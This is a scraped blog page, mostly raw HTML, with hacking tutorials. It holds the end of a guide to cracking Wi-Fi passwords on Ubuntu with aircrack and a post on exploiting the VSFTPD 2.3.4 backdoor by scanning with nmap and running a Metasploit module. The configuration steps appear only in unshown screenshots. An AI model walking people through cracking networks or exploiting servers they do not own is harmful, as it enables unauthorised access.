src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1H3Cl11kMgJDJPpxMW6oSS-CxU7p3Gg3BVsi1PKMYOS0fCwwNBiW5YyfsoUifp08UtKI5Bez00LE5gztAgp3fxAANsX0acdaezeABQGQ3yHn8H5fLByKzFtJS3Up2VRK-7FDNDqmjhg9d/s1600/537f3d09952d7c01.jpg" title="crack-wi-fi-password-in-ubuntu-4" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Then you should see that the key has been decrypted 100% successfully and the key itself.</span></span></div></div>

How to crack wi-fi password in ubuntu?

For this purpose we are going to use Ubuntu. First we have to install air-crack program in o.s (1)install aircrack sudo apt-get install airc...

+ Read more »

How to exploit VSFTPD ?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">VSFTPD, which stands for "Very Secure FTP Daemon"[1], is an FTP server for Unix-like systems, including Linux.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">VSFTPD is an FTP server that it can be found in unix operating systems like Ubuntu, CentOS, Fedora and Slackware. By default this service is secure however a major incident happened in July 2011 when someone replaced the original version with a version that contained a backdoor. The backdoor exists in the version 2.3.4 of VSFTPD and it can be exploited through metasploit.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">So first we scan port 21 is it vsftpd 2.3.4 or not, for this purpose you can use nmap.</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">So let’s assume that we have scanned a host and we have discovered the version 2.3.4 of VSFTPD running on the system.</span></span></div><div class="separator" style="clear: both; text-align: center;"></div><div style="margin-bottom: 0in;"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">We can open the metasploit framework in order to search for the vsftpd module.</span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8TBD-TCoY3yX0-nhZDqbpwAOrQIIiGgCY9BgyeQrsPsS60CDde3U8ZJn8g__RGZ5j3KggwQVN-8bsIeJ-7SJGQswyGJ52KiK3tcqGVLsam3rTFWFDuQLME2gg9bb6uOI5RKdELlDf8NEA/s1600/Screenshot1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="color: black;"><img alt="vsftpd-exploit" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8TBD-TCoY3yX0-nhZDqbpwAOrQIIiGgCY9BgyeQrsPsS60CDde3U8ZJn8g__RGZ5j3KggwQVN-8bsIeJ-7SJGQswyGJ52KiK3tcqGVLsam3rTFWFDuQLME2gg9bb6uOI5RKdELlDf8NEA/s1600/Screenshot1.jpg" title="vsftpd-exploit" /></span></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">As we can see there is only one module that we can use. So we will start the configuring the module appropriately. In the next screenshot you can see the configurations that we need to do in this exploit in order to be executed successfully.</span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNZLGvSBAkk-Nyqw5jC9uTymjT8ziwxcYqQdjnOwrv61_D2fHr-iaXWfCV2QYnLIRmpY_ykx5CYkn4q3L774Gt9vz_Q7MB1gSzknxwSp0aeAjWrsY_dKGmm8SiFjbgdDwigCdhgT8JKIFW/s1600/Screenshot2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="color: black;"><img alt="vsftpd-exploit" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNZLGvSBAkk-Nyqw5jC9uTymjT8ziwxcYqQdjnOwrv61_D2fHr-iaXWfCV2QYnLIRmpY_ykx5CYkn4q3L774Gt9vz_Q7MB1gSzknxwSp0aeAjWrsY_dKGmm8SiFjbgdDwigCdhgT8JKIFW/s1600/Screenshot2.jpg" title="vsftpd-exploit-1" /></span></a></div></div>

How to exploit VSFTPD ?

VSFTPD, which stands for "Very Secure FTP Daemon"[1], is an FTP server for Unix-like systems, including Linux. VSFTPD is an FTP se...

+ Read more »